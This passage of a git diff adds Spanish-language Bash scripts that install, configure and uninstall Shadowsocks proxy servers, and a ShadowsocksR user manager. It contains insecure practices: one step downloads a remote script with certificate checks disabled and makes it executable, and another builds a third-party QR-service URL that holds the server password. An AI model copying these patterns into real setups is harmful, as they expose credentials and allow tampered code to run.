already installed." +fi +} +install_shadowsocks_python(){ +cd ${cur_dir} +unzip -q ${shadowsocks_python_file}.zip +if [ $? -ne 0 ];then +echo -e "[${red}Error${plain}] unzip ${shadowsocks_python_file}.zip failed, please check unzip command." +install_cleanup +exit 1 +fi +cd ${shadowsocks_python_file} +python setup.py install --record /usr/local/shadowsocks_python.log +if [ -f /usr/bin/ssserver ] || [ -f /usr/local/bin/ssserver ]; then +chmod +x ${shadowsocks_python_init} +local service_name=$(basename ${shadowsocks_python_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[0]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_r(){ +cd ${cur_dir} +tar zxf ${shadowsocks_r_file}.tar.gz +mv ${shadowsocks_r_file}/shadowsocks /usr/local/ +if [ -f /usr/local/shadowsocks/server.py ]; then +chmod +x ${shadowsocks_r_init} +local service_name=$(basename ${shadowsocks_r_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[1]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_go(){ +cd ${cur_dir} +if is_64bit; then +gzip -d ${shadowsocks_go_file_64}.gz +if [ $? -ne 0 ];then +echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_64}.gz failed." +install_cleanup +exit 1 +fi +mv -f ${shadowsocks_go_file_64} /usr/bin/shadowsocks-server +else +gzip -d ${shadowsocks_go_file_32}.gz +if [ $? -ne 0 ];then +echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_32}.gz failed." +install_cleanup +exit 1 +fi +mv -f ${shadowsocks_go_file_32} /usr/bin/shadowsocks-server +fi +if [ -f /usr/bin/shadowsocks-server ]; then +chmod +x /usr/bin/shadowsocks-server +chmod +x ${shadowsocks_go_init} +local service_name=$(basename ${shadowsocks_go_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[2]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_libev(){ +cd ${cur_dir} +tar zxf ${shadowsocks_libev_file}.tar.gz +cd ${shadowsocks_libev_file} +./configure --disable-documentation && make && make install +if [ $? -eq 0 ]; then +chmod +x ${shadowsocks_libev_init} +local service_name=$(basename ${shadowsocks_libev_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[3]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_libev_obfs(){ +if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then +cd ${cur_dir} +git clone https://github.com/shadowsocks/simple-obfs.git +[ -d simple-obfs ] && cd simple-obfs || echo -e "[${red}Error:${plain}] Failed to git clone simple-obfs." +git submodule update --init --recursive +if centosversion 6; then +if [ ! "$(command -v autoconf268)" ]; then +echo -e "[${green}Info${plain}] Starting install autoconf268..." +yum install -y autoconf268 > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf268." +fi +sed -i 's/autoreconf/autoreconf268/' autogen.sh +sed -i 's@^#include @#include @' src/local.h +sed -i 's@^#include @#include @' src/server.h +fi +./autogen.sh +./configure --disable-documentation +make +make install +if [ ! "$(command -v obfs-server)" ]; then +echo -e "[${red}Error${plain}] simple-obfs for ${software[${selected}-1]} install failed." +install_cleanup +exit 1 +fi +[ -f /usr/local/bin/obfs-server ] && ln -s /usr/local/bin/obfs-server /usr/bin +fi +} +install_completed_python(){ +clear +${shadowsocks_python_init} start +echo +echo -e "Felicidades, ${green}${software[0]}${plain} server install completed!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +install_completed_r(){ +clear +${shadowsocks_r_init} start +echo +echo -e "Felicidades, ${green}${software[1]}${plain} server install completed!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +echo -e "Protocol : ${red} ${shadowsockprotocol} ${plain}" +echo -e "Obfs : ${red} ${shadowsockobfs} ${plain}" +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +install_completed_go(){ +clear +${shadowsocks_go_init} start +echo +echo -e "Felicidades, ${green}${software[2]}${plain} server install completed!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +install_completed_libev(){ +clear +ldconfig +${shadowsocks_libev_init} start +echo +echo -e "Felicidades, ${green}${software[3]}${plain} instalacion completada!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +if [ "$(command -v obfs-server)" ]; then +echo -e "Obfs : ${red} ${shadowsocklibev_obfs} ${plain}" +fi +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +qr_generate_python(){ +if [ "$(command -v qrencode)" ]; then +local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) +local qr_code="ss://${tmp}" +echo +echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_python_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion:" +echo -e "${green} ${cur_dir}/shadowsocks_python_qr.png ${plain}" +fi +} +qr_generate_r(){ +if [ "$(command -v qrencode)" ]; then +local tmp1=$(echo -n "${shadowsockspwd}" | base64 -w0 | sed 's/=//g;s/\//_/g;s/+/-/g') +local tmp2=$(echo -n "$(get_ip):${shadowsocksport}:${shadowsockprotocol}:${shadowsockscipher}:${shadowsockobfs}:${tmp1}/?obfsparam=" | base64 -w0) +local qr_code="ssr://${tmp2}" +echo +echo "Codigo QR: (Para ShadowsocksR Windows, Android)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_r_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:" +echo -e "${green} ${cur_dir}/shadowsocks_r_qr.png ${plain}" +fi +} +qr_generate_go(){ +if [ "$(command -v qrencode)" ]; then +local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) +local qr_code="ss://${tmp}" +echo +echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_go_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:" +echo -e "${green} ${cur_dir}/shadowsocks_go_qr.png ${plain}" +fi +} +qr_generate_libev(){ +if [ "$(command -v qrencode)" ]; then +local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) +local qr_code="ss://${tmp}" +echo +echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_libev_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:" +echo -e "${green} ${cur_dir}/shadowsocks_libev_qr.png ${plain}" +fi +} +install_main(){ +install_libsodium +if ! ldconfig -p | grep -wq "/usr/lib"; then +echo "/usr/lib" > /etc/ld.so.conf.d/lib.conf +fi +ldconfig +if [ "${selected}" == "1" ]; then +install_shadowsocks_python +install_completed_python +qr_generate_python +elif [ "${selected}" == "2" ]; then +install_shadowsocks_r +install_completed_r +qr_generate_r +elif [ "${selected}" == "3" ]; then +install_shadowsocks_go +install_completed_go +qr_generate_go +elif [ "${selected}" == "4" ]; then +install_mbedtls +install_shadowsocks_libev +install_shadowsocks_libev_obfs +install_completed_libev +qr_generate_libev +fi +echo +echo "ChumoGH - Shadowsocks" +echo "t.me/ChumoGH" +echo +} +install_cleanup(){ +cd ${cur_dir} +rm -rf simple-obfs +rm -rf ${libsodium_file} ${libsodium_file}.tar.gz +rm -rf ${mbedtls_file} ${mbedtls_file}-gpl.tgz +rm -rf ${shadowsocks_python_file} ${shadowsocks_python_file}.zip +rm -rf ${shadowsocks_r_file} ${shadowsocks_r_file}.tar.gz +rm -rf ${shadowsocks_go_file_64}.gz ${shadowsocks_go_file_32}.gz +rm -rf ${shadowsocks_libev_file} ${shadowsocks_libev_file}.tar.gz +} +install_shadowsocks(){ +disable_selinux +install_select +install_prepare +install_dependencies +download_files +config_shadowsocks +if check_sys packageManager yum; then +config_firewall +fi +install_main +install_cleanup +} +uninstall_shadowsocks_python(){ +printf "Estas seguro que quieres desinstalar ${red}${software[0]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_python_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_python_init} stop +fi +local service_name=$(basename ${shadowsocks_python_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_python_config}) +rm -f ${shadowsocks_python_init} +rm -f /var/log/shadowsocks.log +if [ -f /usr/local/shadowsocks_python.log ]; then +cat /usr/local/shadowsocks_python.log | xargs rm -rf +rm -f /usr/local/shadowsocks_python.log +fi +echo -e "[${green}Info${plain}] ${software[0]} desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[0]} desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks_r(){ +printf "Estas seguro que quieres desinstalar ${red}${software[1]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_r_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_r_init} stop +fi +local service_name=$(basename ${shadowsocks_r_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_r_config}) +rm -f ${shadowsocks_r_init} +rm -f /var/log/shadowsocks.log +rm -fr /usr/local/shadowsocks +echo -e "[${green}Info${plain}] ${software[1]} Desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[1]} Desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks_go(){ +printf "Estas seguro que quieres desinstalar ${red}${software[2]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_go_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_go_init} stop +fi +local service_name=$(basename ${shadowsocks_go_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_go_config}) +rm -f ${shadowsocks_go_init} +rm -f /usr/bin/shadowsocks-server +echo -e "[${green}Info${plain}] ${software[2]} desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[2]} desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks_libev(){ +printf "Estas seguro que quieres desinstalar ${red}${software[3]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_libev_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_libev_init} stop +fi +local service_name=$(basename ${shadowsocks_libev_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_libev_config}) +rm -f /usr/local/bin/ss-local +rm -f /usr/local/bin/ss-tunnel +rm -f /usr/local/bin/ss-server +rm -f /usr/local/bin/ss-manager +rm -f /usr/local/bin/ss-redir +rm -f /usr/local/bin/ss-nat +rm -f /usr/local/bin/obfs-local +rm -f /usr/local/bin/obfs-server +rm -f /usr/local/lib/libshadowsocks-libev.a +rm -f /usr/local/lib/libshadowsocks-libev.la +rm -f /usr/local/include/shadowsocks.h +rm -f /usr/local/lib/pkgconfig/shadowsocks-libev.pc +rm -f /usr/local/share/man/man1/ss-local.1 +rm -f /usr/local/share/man/man1/ss-tunnel.1 +rm -f /usr/local/share/man/man1/ss-server.1 +rm -f /usr/local/share/man/man1/ss-manager.1 +rm -f /usr/local/share/man/man1/ss-redir.1 +rm -f /usr/local/share/man/man1/ss-nat.1 +rm -f /usr/local/share/man/man8/shadowsocks-libev.8 +rm -fr /usr/local/share/doc/shadowsocks-libev +rm -f ${shadowsocks_libev_init} +echo -e "[${green}Info${plain}] ${software[3]} desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[3]} desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks(){ +while true +do +echo "Cual servidor Shadowsocks quieres desinstalar?" +for ((i=1;i<=${#software[@]};i++ )); do +hint="${software[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Escoge un numero [1-4]:" un_select +case "${un_select}" in +1|2|3|4) +echo +echo "Escogiste = ${software[${un_select}-1]}" +echo +break +;; +*) +echo -e "[${red}Error${plain}] escoge un numero [1-4]" +;; +esac +done +if [ "${un_select}" == "1" ]; then +if [ -f ${shadowsocks_python_init} ]; then +uninstall_shadowsocks_python +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +elif [ "${un_select}" == "2" ]; then +if [ -f ${shadowsocks_r_init} ]; then +uninstall_shadowsocks_r +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +elif [ "${un_select}" == "3" ]; then +if [ -f ${shadowsocks_go_init} ]; then +uninstall_shadowsocks_go +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +elif [ "${un_select}" == "4" ]; then +if [ -f ${shadowsocks_libev_init} ]; then +uninstall_shadowsocks_libev +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +fi +} +action=$1 +[ -z $1 ] && action=install +case "${action}" in +install|uninstall) +${action}_shadowsocks +;; +*) +echo "Arguments error! [${action}]" +echo "Usage: $(basename $0) [install|uninstall]" +;; +esac diff --git a/Recursos/ssrrmu.sh b/Recursos/ssrrmu.sh new file mode 100644 index 0000000..36c8236 --- /dev/null +++ b/Recursos/ssrrmu.sh @@ -0,0 +1,2079 @@ +#!/bin/bash +#19/12/2019 +clear +msg -bar +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +BARRA1="\e[0;31m--------------------------------------------------------------------\e[0m" +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +sh_ver="1.0.26" +filepath=$(cd "$(dirname "$0")"; pwd) +file=$(echo -e "${filepath}"|awk -F "$0" '{print $1}') +ssr_folder="/usr/local/shadowsocksr" +config_file="${ssr_folder}/config.json" +config_user_file="${ssr_folder}/user-config.json" +config_user_api_file="${ssr_folder}/userapiconfig.py" +config_user_mudb_file="${ssr_folder}/mudb.json" +ssr_log_file="${ssr_folder}/ssserver.log" +Libsodiumr_file="/usr/local/lib/libsodium.so" +Libsodiumr_ver_backup="1.0.16" +Server_Speeder_file="/serverspeeder/bin/serverSpeeder.sh" +LotServer_file="/appex/bin/serverSpeeder.sh" +BBR_file="${file}/bbr.sh" +jq_file="${ssr_folder}/jq" + +Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m" +Info="${Green_font_prefix}[ INFORMACION ]${Font_color_suffix}" +Error="${Red_font_prefix}[# ERROR #]${Font_color_suffix}" +Tip="${Green_font_prefix}[ NOTA ]${Font_color_suffix}" +Separator_1="——————————————————————————————" + +check_root(){ + [[ $EUID != 0 ]] && echo -e "${Error} La cuenta actual no es ROOT (no tiene permiso ROOT), no puede continuar la operacion, por favor ${Green_background_prefix} sudo su ${Font_color_suffix} Venga a ROOT (le pedire que ingrese la contraseña de la cuenta actual despues de la ejecucion)" && exit 1 +} +check_sys(){ + if [[ -f /etc/redhat-release ]]; then + release="centos" + elif cat /etc/issue | grep -q -E -i "debian"; then + release="debian" + elif cat /etc/issue | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + elif cat /proc/version | grep -q -E -i "debian"; then + release="debian" + elif cat /proc/version | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + fi + bit=`uname -m` +} +check_pid(){ + PID=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'` +} +check_crontab(){ + [[ ! -e "/usr/bin/crontab" ]] && echo -e "${Error}Falta de dependencia Crontab, Por favor, intente instalar manualmente CentOS: yum install crond -y , Debian/Ubuntu: apt-get install cron -y !" && exit 1 +} +SSR_installation_status(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error}\nShadowsocksR No se encontro la carpeta, por favor verifique\n$(msg -bar)" && exit 1 +} +Server_Speeder_installation_status(){ + [[ ! -e ${Server_Speeder_file} ]] && echo -e "${Error}No instalado (Server Speeder), Por favor compruebe!" && exit 1 +} +LotServer_installation_status(){ + [[ ! -e ${LotServer_file} ]] && echo -e "${Error}No instalado LotServer, Por favor revise!" && exit 1 +} +BBR_installation_status(){ + if [[ ! -e ${BBR_file} ]]; then + echo -e "${Error} No encontre el script de BBR, comience a descargar ..." + cd "${file}" + if ! wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/bbr.sh; then + echo -e "${Error} BBR script descargar!" && exit 1 + else + echo -e "${Info} BBR script descarga completa!" + chmod +x bbr.sh + fi + fi +} +#Establecer reglas de firewall +Add_iptables(){ + if [[ ! -z "${ssr_port}" ]]; then + iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + fi +} +Del_iptables(){ + if [[ ! -z "${port}" ]]; then + iptables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + iptables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + fi +} +Save_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + fi +} +Set_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + chkconfig --level 2345 iptables on + chkconfig --level 2345 ip6tables on + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + echo -e '#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules' > /etc/network/if-pre-up.d/iptables + chmod +x /etc/network/if-pre-up.d/iptables + fi +} +#Leer la informacin de configuracin +Get_IP(){ + ip=$(wget -qO- -t1 -T2 ipinfo.io/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 api.ip.sb/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 members.3322.org/dyndns/getip) + if [[ -z "${ip}" ]]; then + ip="VPS_IP" + fi + fi + fi +} +Get_User_info(){ + Get_user_port=$1 + user_info_get=$(python mujson_mgr.py -l -p "${Get_user_port}") + match_info=$(echo "${user_info_get}"|grep -w "### user ") + if [[ -z "${match_info}" ]]; then + echo -e "${Error}La adquisicion de informacion del usuario fallo ${Green_font_prefix}[Puerto: ${ssr_port}]${Font_color_suffix} " && exit 1 + fi + user_name=$(echo "${user_info_get}"|grep -w "user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + port=$(echo "${user_info_get}"|grep -w "port :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + password=$(echo "${user_info_get}"|grep -w "passwd :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + method=$(echo "${user_info_get}"|grep -w "method :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + protocol=$(echo "${user_info_get}"|grep -w "protocol :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + protocol_param=$(echo "${user_info_get}"|grep -w "protocol_param :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + [[ -z ${protocol_param} ]] && protocol_param="0(Ilimitado)" +msg -bar + obfs=$(echo "${user_info_get}"|grep -w "obfs :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + #transfer_enable=$(echo "${user_info_get}"|grep -w "transfer_enable :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}'|awk -F "ytes" '{print $1}'|sed 's/KB/ KB/;s/MB/ MB/;s/GB/ GB/;s/TB/ TB/;s/PB/ PB/') + #u=$(echo "${user_info_get}"|grep -w "u :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + #d=$(echo "${user_info_get}"|grep -w "d :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + forbidden_port=$(echo "${user_info_get}"|grep -w "Puerto prohibido :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + [[ -z ${forbidden_port} ]] && forbidden_port="Permitir todo" +msg -bar + speed_limit_per_con=$(echo "${user_info_get}"|grep -w "speed_limit_per_con :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + speed_limit_per_user=$(echo "${user_info_get}"|grep -w "speed_limit_per_user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + Get_User_transfer "${port}" +} +Get_User_transfer(){ + transfer_port=$1 + #echo "transfer_port=${transfer_port}" + all_port=$(${jq_file} '.[]|.port' ${config_user_mudb_file}) + #echo "all_port=${all_port}" + port_num=$(echo "${all_port}"|grep -nw "${transfer_port}"|awk -F ":" '{print $1}') + #echo "port_num=${port_num}" + port_num_1=$(expr ${port_num} - 1) + #echo "port_num_1=${port_num_1}" + transfer_enable_1=$(${jq_file} ".[${port_num_1}].transfer_enable" ${config_user_mudb_file}) + #echo "transfer_enable_1=${transfer_enable_1}" + u_1=$(${jq_file} ".[${port_num_1}].u" ${config_user_mudb_file}) + #echo "u_1=${u_1}" + d_1=$(${jq_file} ".[${port_num_1}].d" ${config_user_mudb_file}) + #echo "d_1=${d_1}" + transfer_enable_Used_2_1=$(expr ${u_1} + ${d_1}) + #echo "transfer_enable_Used_2_1=${transfer_enable_Used_2_1}" + transfer_enable_Used_1=$(expr ${transfer_enable_1} - ${transfer_enable_Used_2_1}) + #echo "transfer_enable_Used_1=${transfer_enable_Used_1}" + + + if [[ ${transfer_enable_1} -lt 1024 ]]; then + transfer_enable="${transfer_enable_1} B" + elif [[ ${transfer_enable_1} -lt 1048576 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1024'}') + transfer_enable="${transfer_enable} KB" + elif [[ ${transfer_enable_1} -lt 1073741824 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1048576'}') + transfer_enable="${transfer_enable} MB" + elif [[ ${transfer_enable_1} -lt 1099511627776 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1073741824'}') + transfer_enable="${transfer_enable} GB" + elif [[ ${transfer_enable_1} -lt 1125899906842624 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1099511627776'}') + transfer_enable="${transfer_enable} TB" + fi + #echo "transfer_enable=${transfer_enable}" + if [[ ${u_1} -lt 1024 ]]; then + u="${u_1} B" + elif [[ ${u_1} -lt 1048576 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1024'}') + u="${u} KB" + elif [[ ${u_1} -lt 1073741824 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1048576'}') + u="${u} MB" + elif [[ ${u_1} -lt 1099511627776 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1073741824'}') + u="${u} GB" + elif [[ ${u_1} -lt 1125899906842624 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1099511627776'}') + u="${u} TB" + fi + #echo "u=${u}" + if [[ ${d_1} -lt 1024 ]]; then + d="${d_1} B" + elif [[ ${d_1} -lt 1048576 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1024'}') + d="${d} KB" + elif [[ ${d_1} -lt 1073741824 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1048576'}') + d="${d} MB" + elif [[ ${d_1} -lt 1099511627776 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1073741824'}') + d="${d} GB" + elif [[ ${d_1} -lt 1125899906842624 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1099511627776'}') + d="${d} TB" + fi + #echo "d=${d}" + if [[ ${transfer_enable_Used_1} -lt 1024 ]]; then + transfer_enable_Used="${transfer_enable_Used_1} B" + elif [[ ${transfer_enable_Used_1} -lt 1048576 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1024'}') + transfer_enable_Used="${transfer_enable_Used} KB" + elif [[ ${transfer_enable_Used_1} -lt 1073741824 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1048576'}') + transfer_enable_Used="${transfer_enable_Used} MB" + elif [[ ${transfer_enable_Used_1} -lt 1099511627776 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1073741824'}') + transfer_enable_Used="${transfer_enable_Used} GB" + elif [[ ${transfer_enable_Used_1} -lt 1125899906842624 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1099511627776'}') + transfer_enable_Used="${transfer_enable_Used} TB" + fi + #echo "transfer_enable_Used=${transfer_enable_Used}" + if [[ ${transfer_enable_Used_2_1} -lt 1024 ]]; then + transfer_enable_Used_2="${transfer_enable_Used_2_1} B" + elif [[ ${transfer_enable_Used_2_1} -lt 1048576 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1024'}') + transfer_enable_Used_2="${transfer_enable_Used_2} KB" + elif [[ ${transfer_enable_Used_2_1} -lt 1073741824 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1048576'}') + transfer_enable_Used_2="${transfer_enable_Used_2} MB" + elif [[ ${transfer_enable_Used_2_1} -lt 1099511627776 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1073741824'}') + transfer_enable_Used_2="${transfer_enable_Used_2} GB" + elif [[ ${transfer_enable_Used_2_1} -lt 1125899906842624 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1099511627776'}') + transfer_enable_Used_2="${transfer_enable_Used_2} TB" + fi + #echo "transfer_enable_Used_2=${transfer_enable_Used_2}" +} +urlsafe_base64(){ + date=$(echo -n "$1"|base64|sed ':a;N;s/\n/ /g;ta'|sed 's/ //g;s/=//g;s/+/-/g;s/\//_/g') + echo -e "${date}" +} +ss_link_qr(){ + SSbase64=$(urlsafe_base64 "${method}:${password}@${ip}:${port}") + SSurl="ss://${SSbase64}" + SSQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSurl}" + ss_link=" SS Link :\n ${Green_font_prefix}${SSurl}${Font_color_suffix} \n Codigo QR SS:\n ${Green_font_prefix}${SSQRcode}${Font_color_suffix}" +} 